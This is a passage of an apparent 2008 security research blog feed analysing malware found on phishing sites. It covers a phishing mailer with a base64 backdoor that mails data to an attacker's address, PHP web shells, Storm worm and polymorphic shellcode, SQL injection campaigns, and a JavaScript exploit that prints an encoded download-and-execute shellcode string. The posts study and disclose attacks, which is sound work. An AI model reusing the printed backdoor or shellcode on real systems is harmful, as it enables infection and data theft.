&lt;span class="nv"&gt;$message&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;message&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="si"&gt;$a5&lt;/span&gt;&lt;span class="se"&gt;\\n&lt;/span&gt;&lt;span class="si"&gt;$b33&lt;/span&gt;&lt;span class="se"&gt;\\n&lt;/span&gt;&lt;span class="si"&gt;$c87&lt;/span&gt;&lt;span class="se"&gt;\\n&lt;/span&gt;&lt;span class="si"&gt;$d23&lt;/span&gt;&lt;span class="se"&gt;\\n&lt;/span&gt;&lt;span class="si"&gt;$e09&lt;/span&gt;&lt;span class="se"&gt;\\n&lt;/span&gt;&lt;span class="si"&gt;$f23&lt;/span&gt;&lt;span class="se"&gt;\\n&lt;/span&gt;&lt;span class="si"&gt;$g32&lt;/span&gt;&lt;span class="se"&gt;\\n&lt;/span&gt;&lt;span class="si"&gt;$h65&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="k"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;base64_decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;bWFpbCgiZ3JvZmlfaGFja0Bob3RtYWlsLmNvbSIsICRzdWJ&lt;/span&gt;
&lt;span class="s2"&gt;qOTgsICRtc2csICRtZXNzYWdlLCAkcmE0NCk7&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="x"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And the last string, if you don't read base64, really is:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="x"&gt;mail(&amp;quot;grofi_hack@hotmail.com&amp;quot;, $subj98, $msg, $message, $ra44);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So, a little backdoor! What is a poor phisher to do? After &lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/04/a-tale-of-scam-kits.html
" title="A tale of scam kits"&gt;phishing
kits&lt;/a&gt;, one cannot even trust mailers... &lt;/p&gt;
</description><category>malware</category><category>phishing</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/07/lost-and-found-on-phishing-sites-mailers.html</guid><pubDate>Mon, 14 Jul 2008 20:50:00 GMT</pubDate></item><item><title>Lost and found on phishing sites: PHP shells</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/07/lost-and-found-on-phishing-sites-php-shells.html</link><description>&lt;p&gt;It is not uncommon for phishing pages to be hosted on compromised web
servers. When this happens, besides phishing, the web server is used for
a variety of malicious activities. We have seen some time ago a case
where such a site was hosting an &lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/05/phished-and-botted.html
" title="Phished and botted"&gt;XSS-based botnet
tool&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;With this post, I'll start a brief series (probably 3-4 installments in
total) on the interesting things you can find on web sites that are
taken over to host phishing pages. For today, the topic is &lt;em&gt;PHP
shells&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;PHP shells are PHP scripts that allow one to execute a number of
commands on a remote server through a simple web-based interface. They
are used by attackers to easily manage the compromised server, install
new tools, attack other sites, and so on. &lt;br /&gt;
Here is a screenshot of one of these shells (click on the image for a
larger picture):&lt;/p&gt;

&lt;p&gt;&lt;a href="images/blog/phpshell-screenshot.png"&gt;
&lt;img src="images/blog/phpshell-screenshot.png"
     class="figure-centered"
     alt="Screenshot of a PHP shell found on a phishing site"
     title="Screenshot of a PHP shell found on a phishing site"
     width="500" height="333"/&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;From what I've seen, the most commonly-used shells are &lt;strong&gt;C99Shell&lt;/strong&gt;,
&lt;strong&gt;w4ck1ng&lt;/strong&gt;, &lt;strong&gt;N3tShell&lt;/strong&gt;, &lt;strong&gt;Room Hacker shell&lt;/strong&gt;, &lt;strong&gt;SimAttacker&lt;/strong&gt;,
&lt;strong&gt;Locus7s&lt;/strong&gt;, &lt;strong&gt;Vop-Cr3W shell&lt;/strong&gt;, &lt;strong&gt;storm7shell&lt;/strong&gt;, &lt;strong&gt;Safe0ver&lt;/strong&gt;,
&lt;strong&gt;Enqu!nx&lt;/strong&gt;, &lt;strong&gt;PHPShell&lt;/strong&gt;, &lt;strong&gt;BK-Code Shell&lt;/strong&gt;, &lt;strong&gt;r57shell&lt;/strong&gt;, &lt;strong&gt;K-H shell&lt;/strong&gt;,
&lt;strong&gt;HaTeX shell&lt;/strong&gt;, &lt;strong&gt;phpRemoteView&lt;/strong&gt;, &lt;strong&gt;UniXShell&lt;/strong&gt;, and &lt;strong&gt;BLaCkSHeLL&lt;/strong&gt;.  Of
many of these shells, multiple versions exist, with changes ranging from
simple modding (e.g., adding scrolling text in the header of the page
saying "ccpower was here !") to the introduction of new features.&lt;/p&gt;

&lt;p&gt;In terms of functionality, the basic commands include file system
management (listing of directories, changing the attributes of files),
file upload, and command execution on the server. More advanced features
allow the attacker to &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;connect to databases, &lt;/li&gt;
&lt;li&gt;install trojans, &lt;/li&gt;
&lt;li&gt;inject HTML text (e.g., iframes) into all the web pages on the server, &lt;/li&gt;
&lt;li&gt;attempt a number of exploits (e.g., the Linux race exploit of some time ago),
and &lt;/li&gt;
&lt;li&gt;brute-force FTP credentials. &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Some shells even have the ability to check for updates and to
self-remove from the remote server. At least some people are keeping
their software updated...&lt;/p&gt;
</description><category>malware</category><category>phishing</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/07/lost-and-found-on-phishing-sites-php-shells.html</guid><pubDate>Sat, 12 Jul 2008 11:22:00 GMT</pubDate></item><item><title>Storm's shellcode</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/07/storms-shellcode.html</link><description>&lt;p&gt;The Storm group has launched a &lt;a href="http://honeyblog.org/archives/191-Storm-Worm-World-War-III.html
" title="Storm Worm: World War III? [heneyblog.org]"&gt;new campaign
theme&lt;/a&gt;, based on the bogus story
that World War III would be started. Incidentally, they are starting to
be repetitive: they were using a very similar theme back in &lt;a href="http://www.disog.org/2007/04/storm-worm-goes-nuclear.html" title="Storm
worm goes nuclear [disog.org]"&gt;April
2007&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Besides the usual fake youtube video &amp;mdash; you click on it and the
download of the malicious binary starts &amp;mdash; they are also using
drive-by download techniques to infect their victims. An iframe points
to the file &lt;code&gt;ind.php&lt;/code&gt;, which attempts to perform a number of browser
exploits. Nothing special here: everything is very similar to other
&lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/06/javascript-attack-part-i.html
" title="JavaScript attack - part I"&gt;javascript
attacks&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;The shellcode used by Storm is also very similar to what we have seen in the
past, both
&lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/06/javascript-attack-part-ii.html
" title="Javascript attack - part II"&gt;functionally&lt;/a&gt; (download and execute a binary) and in the use of simple &lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/07/polymorphic-shellcode.html
" title="Polymorphic shellcode"&gt;polymorphic
techniques&lt;/a&gt;. However, there are some differences: one is that it
doesn't store the hash values of the library functions to invoke at the end of
the code. Sequences of hash values probably make for a good signature for IDS
systems.  Thus, this shellcode uses hash values inline (in what follows,
&lt;code&gt;find_function&lt;/code&gt; returns the address of a function, given the function's hash
and the containing DLL's base address):&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="x"&gt;  00000033:   push esi                ; kernel32.dll base&lt;/span&gt;
&lt;span class="x"&gt;  00000034:   push dword 0xec0e4e8e   ; LoadLibrary (hash)&lt;/span&gt;
&lt;span class="x"&gt;  00000039:   call 0x13c&amp;lt;find_function&amp;gt;&lt;/span&gt;
&lt;span class="x"&gt;  0000003E:   mov [ebp+0x4],eax&lt;/span&gt;
&lt;span class="x"&gt;  00000041:   push esi&lt;/span&gt;
&lt;span class="x"&gt;  00000042:   push dword 0xe8afe98    ; WinExec (hash)&lt;/span&gt;
&lt;span class="x"&gt;  00000047:   call 0x13c&amp;lt;find_function&amp;gt;&lt;/span&gt;
&lt;span class="x"&gt;  0000004C:   mov [ebp+0x8],eax&lt;/span&gt;
&lt;span class="x"&gt;  0000004F:   push esi&lt;/span&gt;
&lt;span class="x"&gt;  00000050:   push dword 0xc2ffb025   ; DeleteFileA (hash)&lt;/span&gt;
&lt;span class="x"&gt;  00000055:   call 0x13c&amp;lt;find_function&amp;gt;&lt;/span&gt;
&lt;span class="x"&gt;  0000005A:   mov [ebp+0xc],eax&lt;/span&gt;
&lt;span class="x"&gt;  0000005D:   push esi&lt;/span&gt;
&lt;span class="x"&gt;  0000005E:   push dword 0x60e0ceef   ; ExitThread (hash)&lt;/span&gt;
&lt;span class="x"&gt;  00000063:   call 0x13c&amp;lt;find_function&amp;gt;&lt;/span&gt;
&lt;span class="x"&gt;  00000068:   mov [ebp+0x10],eax&lt;/span&gt;
&lt;span class="x"&gt;  0000006B:   push esi&lt;/span&gt;
&lt;span class="x"&gt;  0000006C:   push dword 0xb8e579c1   ; GetSystemDirectoryA (hash)&lt;/span&gt;
&lt;span class="x"&gt;  00000071:   call 0x13c&amp;lt;find_function&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Here is an example of how one these library functions is invoked. This is
the function URLDownloadToFile from the urlmon DLL.&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="x"&gt;  000000EB:   xor ebx,ebx&lt;/span&gt;
&lt;span class="x"&gt;  000000ED:   push ebx                ; NULL&lt;/span&gt;
&lt;span class="x"&gt;  000000EE:   push ebx                ; NULL&lt;/span&gt;
&lt;span class="x"&gt;  000000EF:   push dword [ebp+0x20]   ; ptr to &amp;quot;SYSDIR/~.exe&amp;quot;&lt;/span&gt;
&lt;span class="x"&gt;  000000F2:   push eax                ; eax := addr of the URL&lt;/span&gt;
&lt;span class="x"&gt;  000000F3:   push ebx                ; NULL&lt;/span&gt;
&lt;span class="x"&gt;  000000F4:   mov eax,[ebp+0x1c]      ; eax := addr of URLDownloadToFile&lt;/span&gt;
&lt;span class="x"&gt;  000000F7:   push byte +0x5&lt;/span&gt;
&lt;span class="x"&gt;  000000F9:   pop ecx                 ; ecx := 5&lt;/span&gt;
&lt;span class="x"&gt;  000000FA:   mov edx,[ebp+0x18]      ; edx := ptr to ret instruction&lt;/span&gt;
&lt;span class="x"&gt;  000000FD:   call 0x125&amp;lt;call_lib_func&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The function that I named &lt;code&gt;call_lib_func&lt;/code&gt; invokes the requested DLL function.
It receives the number of parameters (in &lt;code&gt;ecx&lt;/code&gt;), the function address (in
&lt;code&gt;eax&lt;/code&gt;), and the address of a &lt;code&gt;ret&lt;/code&gt; instruction (in &lt;code&gt;edx&lt;/code&gt;). It first sets
up the stack (return address into the caller first, followed by the
parameters, and the address of the &lt;code&gt;ret&lt;/code&gt; instruction last), and then jumps to
the library function's address. The weird stack manipulation is required
since Win32 API functions use the
&lt;a title="__stdcall [microsoft.com]" href="http://msdn.microsoft.com/en-us/library/aa271995(VS.60).aspx"&gt;__stdcall&lt;/a&gt; calling convention.&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="x"&gt;  00000125:   inc ecx                 ; ecx := # params + 1&lt;/span&gt;
&lt;span class="x"&gt;  00000126:   pop ebx                 &lt;/span&gt;
&lt;span class="x"&gt;  00000127:   push edx                &lt;/span&gt;
&lt;span class="x"&gt;  00000128:   add esp,ecx&lt;/span&gt;
&lt;span class="x"&gt;  0000012A:   add esp,ecx&lt;/span&gt;
&lt;span class="x"&gt;  0000012C:   add esp,ecx&lt;/span&gt;
&lt;span class="x"&gt;  0000012E:   add esp,ecx             ; esp points past the last parameter&lt;/span&gt;
&lt;span class="x"&gt;fixup_stack_for_stdcall:&lt;/span&gt;
&lt;span class="x"&gt;  00000130:   sub esp,byte +0x4&lt;/span&gt;
&lt;span class="x"&gt;  00000133:   pop edx&lt;/span&gt;
&lt;span class="x"&gt;  00000134:   push ebx&lt;/span&gt;
&lt;span class="x"&gt;  00000135:   mov ebx,edx&lt;/span&gt;
&lt;span class="x"&gt;  00000137:   loop 0x130&amp;lt;fixup_stack_for_stdcall&amp;gt;&lt;/span&gt;
&lt;span class="x"&gt;  00000139:   push edx                ; edx points to ret instruction&lt;/span&gt;
&lt;span class="x"&gt;  0000013A:   jmp eax                 ; eax holds address of lib function&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The final effect of the shellcode is:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;a binary is downloaded, in the case I've analyzed, from http://activeware.cn/load.php?bof,&lt;/li&gt;
&lt;li&gt;the binary is saved on the victim's filesystem, and&lt;/li&gt;
&lt;li&gt;it's executed&lt;/li&gt;
&lt;/ol&gt;
</description><category>malware</category><category>binary</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/07/storms-shellcode.html</guid><pubDate>Fri, 11 Jul 2008 23:22:00 GMT</pubDate></item><item><title>Polymorphic shellcode</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/07/polymorphic-shellcode.html</link><description>&lt;p&gt;In &lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/06/javascript-attack-part-i.html
" title="JavaScript attack - part I"&gt;web-based
attacks&lt;/a&gt;, such as the ones employed in the recent
&lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/07/mapping-the-sql-injection-campaigns.html
" title="Mapping the SQL injection campaigns"&gt;SQL injection
attacks&lt;/a&gt;, you have to go through three
layers of JavaScript obfuscation and as many redirects before getting to
the actual exploit code.  And, the tricks of the attackers do not stop
here. &lt;/p&gt;

&lt;p&gt;In fact, attackers are also using polymorphic techniques to mutate the
code of their shellcode and avoid detection by anti-virus and
anti-malware tools.  &lt;/p&gt;

&lt;p&gt;This is the beginning of the shellcode found in one these attacks:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="x"&gt;00000000:  E800000000        call 0x5&lt;/span&gt;
&lt;span class="x"&gt;00000005:  5D                pop ebp&lt;/span&gt;
&lt;span class="x"&gt;00000006:  83C514            add ebp,byte +0x14 ; ebp = 0x19&lt;/span&gt;
&lt;span class="x"&gt;00000009:  B98D010000        mov ecx,0x18d      ; for i in range(0x18d):&lt;/span&gt;
&lt;span class="x"&gt;0000000E:  B0A1              mov al,0xa1&lt;/span&gt;
&lt;span class="x"&gt;00000010:  304500            xor [ebp+0x0],al   ;   [ebp] = [ebp] ^ 0xa1&lt;/span&gt;
&lt;span class="x"&gt;00000013:  45                inc ebp            ;   ebp += 1&lt;/span&gt;
&lt;span class="x"&gt;00000014:  49                dec ecx&lt;/span&gt;
&lt;span class="x"&gt;00000015:  75F9              jnz 0x10&lt;/span&gt;
&lt;span class="x"&gt;00000017:  EB00              jmp short 0x19&lt;/span&gt;
&lt;span class="x"&gt;00000019:  3131              xor [ecx],esi&lt;/span&gt;
&lt;span class="x"&gt;0000001B:  3131              xor [ecx],esi&lt;/span&gt;
&lt;span class="x"&gt;0000001D:  ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The code gets the current EIP, skips 0x14 additional bytes (the decryption
instructions), and &lt;em&gt;xor&lt;/em&gt;s the remaining 0x18d bytes with the value 0xa1.
After undoing the obfuscation, one obtains the &lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/06/javascript-attack-part-ii.html
" title="JavaScript attack - part II"&gt;same
shellcode&lt;/a&gt; we have seen some time ago:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="x"&gt;00000019:  90                nop&lt;/span&gt;
&lt;span class="x"&gt;0000001A:  90                nop&lt;/span&gt;
&lt;span class="x"&gt;0000001B:  90                nop&lt;/span&gt;
&lt;span class="x"&gt;0000001C:  90                nop&lt;/span&gt;
&lt;span class="x"&gt;0000001D:  90                nop&lt;/span&gt;
&lt;span class="x"&gt;0000001E:  90                nop&lt;/span&gt;
&lt;span class="x"&gt;0000001F:  90                nop&lt;/span&gt;
&lt;span class="x"&gt;00000020:  90                nop&lt;/span&gt;
&lt;span class="x"&gt;00000021:  E9FC000000        jmp 0x122&lt;/span&gt;
&lt;span class="x"&gt;00000026:  5F                pop edi&lt;/span&gt;
&lt;span class="x"&gt;00000027:  64A130000000      mov eax,[fs:0x30]&lt;/span&gt;
&lt;span class="x"&gt;0000002D:  780C              js 0x3b&lt;/span&gt;
&lt;span class="x"&gt;0000002F:  8B400C            mov eax,[eax+0xc]&lt;/span&gt;
&lt;span class="x"&gt;00000032:  8B701C            mov esi,[eax+0x1c]&lt;/span&gt;
&lt;span class="x"&gt;00000035:  AD                lodsd&lt;/span&gt;
&lt;span class="x"&gt;00000036:  8B6808            mov ebp,[eax+0x8]&lt;/span&gt;
&lt;span class="x"&gt;00000039:  EB09              jmp short 0x44&lt;/span&gt;
&lt;span class="x"&gt;0000003B:  ...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</description><category>malware</category><category>binary</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/07/polymorphic-shellcode.html</guid><pubDate>Sat, 05 Jul 2008 19:22:00 GMT</pubDate></item><item><title>Mapping the SQL injection campaigns</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/07/mapping-the-sql-injection-campaigns.html</link><description>&lt;p&gt;In the past few weeks, there have been a number of rounds of massive SQL
injection attacks. The attacks inject a script tag in every textual
column of the vulnerable databases. This script tag includes a script
from a remote site, which I call the &lt;em&gt;injected site&lt;/em&gt;. This script,
usually, redirects the browser to a second script (possibly on a
different site, the &lt;em&gt;target site&lt;/em&gt;), which, finally,
carries out the actual attack. These attacks are similar to the one I've
&lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/06/javascript-attack-part-i.html
" title="JavaScript attack - part I"&gt;described&lt;/a&gt;
&lt;a href="http://www.cs.ucsb.edu/~marco/blog/2008/06/javascript-attack-part-ii.html
" title="JavaScript attack - part II"&gt;before&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For those who are interested, M. Zino has written a good &lt;a href="http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx
" title="ASCII Encoded/Binary String Automated SQL Injection Attack
[bloombit.com]"&gt;description of
the SQL injection
mechanism&lt;/a&gt;, D. Danchev has an impressive &lt;a href="http://ddanchev.blogspot.com/2008/04/united-nations-serving-malware.html
" title="The United Nations Serving Malware [ddanchev.blogspot.com]"&gt;list of high-profile
victims&lt;/a&gt; of the
attack, and the folks at dynamoo &lt;a href="http://www.dynamoo.com/blog/labels/SQL%20Injection.html" title="Posts
tagged with SQL Injection [dynamoo.com]"&gt;keep track of the malicious
domains&lt;/a&gt; involved in the campaigns.&lt;/p&gt;

&lt;p&gt;Collecting data about the injection campaigns is not difficult. For
example, most dynamic pages store their title in a textual column in a
database. If the application is vulnerable to a SQL injection attack,
the injected script tag will be found (also) in the title of the page.
Therefore, search queries similar to:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;intitle:"&amp;lt;script src=http"
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;will reveal a large number of victims of the attack. Adding additional
terms to the query will return different result sets. Since
Google, Yahoo, and MSN Live offer programmatic access to their search
engines, it is possible to automate the data collection process.&lt;/p&gt;

&lt;p&gt;Visualizing the data that I have collected reveals some interesting
things.  First, the injection campaigns are indeed massive. Here is a
graph showing a small portion of the data I have. Blue circles represent
domains that were victims of the attack. Orange circles represent
domains that hosted the injected script, i.e., "injected domains".&lt;/p&gt;

&lt;p&gt;&lt;a href="images/blog/sqlinj-full.png"&gt;
&lt;img src="images/blog/sqlinj-full.png"
     class="figure-centered"
     alt="Victim and injected domains in SQL injection attacks"
     title="Victim and injected domains in SQL injection attacks"
     width="500" height="401"/&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Certain pages ended up being victim of a large number of injections.
Here is a case with 29 injected script tags. &lt;/p&gt;

&lt;p&gt;&lt;a href="images/blog/sqlinj-victim.png"&gt;
&lt;img src="images/blog/sqlinj-victim.png"
     class="figure-centered"
     alt="A victim of many injection attacks"
     title="A victim of many injection attacks"
     width="280" height="290"/&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Conversely, certain domains appear in a large number of injected tags.
These are the super villains of the SQL injection campaigns (e.g.,
&lt;code&gt;xprmn4u.info&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;&lt;a href="images/blog/sqlinj-offender.png"
&lt;img src="images/blog/sqlinj-offender.png"
     class="figure-centered"
     alt="A subset of the injections where xprmn4u.info was implicated"
     title="A subset of the injections where xprmn4u.info was implicated"
     width="503" height="513"/&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Finally, it is interesting to observe the structure of links between
malicious domains. Here, orange circles are, as before, domains that
appear in the injected script tags, while blue circles are "target
domains", i.e., domains  to which the
browser is redirected to by the injected script. &lt;/p&gt;

&lt;p&gt;&lt;a href="images/blog/sqlinj-inter.png"
&lt;img src="images/blog/sqlinj-inter.png"
     class="figure-centered"
     alt="Representation of the interconnections between malicious domains involved in SQL injection campaigns"
     title="Representation of the interconnections between malicious domains involved in SQL injection campaigns"
     width="500" height="250"/&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For example, consider the node &lt;code&gt;www.app52.com&lt;/code&gt; in the lower-left corner of
the graph. At least a page was injected with a script tag pointing to a
JavaScript script on &lt;code&gt;www.app52.com&lt;/code&gt;. This script redirects through an
&lt;code&gt;iframe&lt;/code&gt; to a script on &lt;code&gt;base48.com&lt;/code&gt;.
Notice how certain domains (e.g., &lt;code&gt;batch29.com&lt;/code&gt;, in the middle of the
graph) are the target of many different redirections. Conversely, several
injected domains (e.g., &lt;code&gt;www.datajto.com&lt;/code&gt;) redirect to different
targets. This is because the injected script contains different targets
every time it is fetched.&lt;/p&gt;
</description><category>malware</category><guid isPermaLink="true">http://www.cs.ucsb.edu/~marco/blog/2008/07/mapping-the-sql-injection-campaigns.html</guid><pubDate>Wed, 02 Jul 2008 09:18:00 GMT</pubDate></item><item><title>JavaScript attack - part II</title><link>http://www.cs.ucsb.edu/~marco/blog/2008/06/javascript-attack-part-ii.html</link><description>&lt;p&gt;&lt;a href="/2008/06/javascript-attack-part-i" title="JavaScript attack - Part
I"&gt;Last time&lt;/a&gt;, we have seen how malicious code is &lt;em&gt;delivered&lt;/em&gt; to the browser
during a web attack. We left with a script that targeted 4 different
vulnerabilities, but we didn't look at what activity is actually
performed during the attack. Here, we will look at the actual
&lt;em&gt;exploitation&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Let's meet the shellcode:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;YuL42y0W&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;unescape&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;%u9090%u9090%u9090%u9090%ufce9%u0000%u5f00%ua164%u0030&lt;/span&gt;
&lt;span class="s2"&gt;%u0000%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u408b%u8d34%u7c40%u688b%u8b3c&lt;/span&gt;
&lt;span class="s2"&gt;%u6af7%u5904%u8fe8%u0000%ue200%u68f9%u6e6f%u0000%u7568%u6c72%u546d%u16ff%ue88b&lt;/span&gt;
&lt;span class="s2"&gt;%u79e8%u0000%u8b00%u47d7%u3f80%u7500%u47fa%u4757%u3f80%u7500%u8bfa%u5fef%uc933&lt;/span&gt;
&lt;span class="s2"&gt;%uec81%u0104%u0000%udc8b%u5251%u6853%u0104%u0000%u56ff%u5a0c%u5159%u8b52%u5302&lt;/span&gt;
&lt;span class="s2"&gt;%u8043%u003b%ufa75%u7b81%u2efc%u7865%u7565%u8303%u08eb%u0389%u43c7%u2e04%u7865&lt;/span&gt;
&lt;span class="s2"&gt;%uc665%u0843%u5b00%uc18a%u3004%u4588%u3300%u50c0%u5350%u5057%u56ff%u8310%u00f8&lt;/span&gt;
&lt;span class="s2"&gt;%u0675%u016a%uff53%u0456%u595a%uc283%u4104%u3a80%u7500%uffb4%u0856%u5651%u758b&lt;/span&gt;
&lt;span class="s2"&gt;%u8b3c%u2e74%u0378%u56f5%u768b%u0320%u33f5%u49c9%uad41%uc503%udb33%ube0f%u3a10&lt;/span&gt;
&lt;span class="s2"&gt;%u74d6%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee7%u5e8b%u0324%u66dd%u0c8b%u8b4b&lt;/span&gt;
&lt;span class="s2"&gt;%u1c5e%udd03%u048b%u038b%uabc5%u595e%ue8c3%ufeff%uffff%u4e8e%uec0e%ufe98%u0e8a&lt;/span&gt;
&lt;span class="s2"&gt;%ud87e%u73e2%uca33%u5b8a%u1a36%u702f%u6943%u4a79%u466a%u774c%u6800%u7474%u3a70&lt;/span&gt;
&lt;span class="s2"&gt;%u2f2f%u6461%u6973%u6574%u6f6c%u632e%u6d6f%u632f%u6967%u622d%u6e69%u692f%u646e&lt;/span&gt;
&lt;span class="s2"&gt;%u7865%u632e%u6967%u373f%u6530%u6630%u3562%u3035%u3031%u6230%u3766%u3030%u3732&lt;/span&gt;
&lt;span class="s2"&gt;%u6537%u6530%u3564%u3038%u3336%u3935%u3535%u6565%u3031%u3338%u6138%u3465%u6139&lt;/span&gt;
&lt;span class="s2"&gt;%u3062%u3030%u3030%u3730%u3066%u3030%u3030%u3030%u3030%u3038%u0000&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It's easy to unescape the shellcode and generate the corresponding
object code. It turns out that the shellcode is very elegant: it should
work on different versions of Windows (9x and XP) and is independent of
the position in memory of the various library and functions.
The final goal of the code is to download a file from a specific URL and
to execute it. Let's see how this is done.&lt;/p&gt;

&lt;p&gt;First, the shellcode obtains the address of &lt;code&gt;kernel32.dll&lt;/code&gt;. It uses the
&lt;acronym title="Process Environment Block"&gt;PEB&lt;/acronym&gt;-based technique
first described by &lt;a href="http://ivanlef0u.free.fr/repo/windoz/shellcoding/winasm-1.0.1.pdf
" title="Win32 Assembly Components (PDF)"&gt;The Last Stage of
Delirium&lt;/a&gt;:&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="x"&gt;  0000000E    mov eax,[fs:0x30]         ; get the PEB&lt;/span&gt;
&lt;span class="x"&gt;  00000014    js 0x22&amp;lt;find_kernel32_9x&amp;gt;&lt;/span&gt;
&lt;span class="x"&gt;find_kernel32_nt:&lt;/span&gt;
&lt;span class="x"&gt;  00000016    mov eax,[eax+0xc]         ; get ptr to PEB_LDR_DATA&lt;/span&gt;
&lt;span class="x"&gt;  00000019    mov esi,[eax+0x1c]        ; get 1st entry of InInitalizationOrderModuleList&lt;/span&gt;
&lt;span class="x"&gt;  0000001C    lodsd&lt;/span&gt;
&lt;span class="x"&gt;  0000001D    mov ebp,[eax+0x8]         ; get kernel32.dll base&lt;/span&gt;
&lt;span class="x"&gt;  00000020    jmp short 0x2b&lt;/span&gt;
&lt;span class="x"&gt;find_kernel32_9x:&lt;/span&gt;
&lt;span class="x"&gt;  00000022    mov eax,[eax+0x34]&lt;/span&gt;
&lt;span class="x"&gt;  00000025    lea eax,[eax+0x7c]&lt;/span&gt;
&lt;span class="x"&gt;  00000028    mov ebp,[eax+0x3c]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Once the base address of &lt;code&gt;kernel32.dll&lt;/code&gt; is known, it can be used to
identify the address of useful functions exported in this DLL. To do so,
the shellcode defines a routine, let's call it &lt;code&gt;find_function&lt;/code&gt;, that
walks the export name table of the given DLL and looks for a given
function name. Instead of matching directly on the name of the function,
the shellcode computes a simple hash of the name, and uses that to
locate interesting functions. This is probably done to save some space
and obfuscate the purposes of the code.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;find_function&lt;/code&gt; expects two parameters: the base address of the DLL
(contained in the &lt;code&gt;ebp&lt;/code&gt; register) and a pointer to the hash of the
function to identify (in the &lt;code&gt;edi&lt;/code&gt; register):&lt;/p&gt;

&lt;div class="codehilite"&gt;&lt;pre&gt;&lt;code&gt;&lt;span class="x"&gt;find_function:&lt;/span&gt;
&lt;span class="x"&gt;  000000C4    push ecx  &lt;/span&gt;
&lt;span class="x"&gt;  000000C5    push esi&lt;/span&gt;
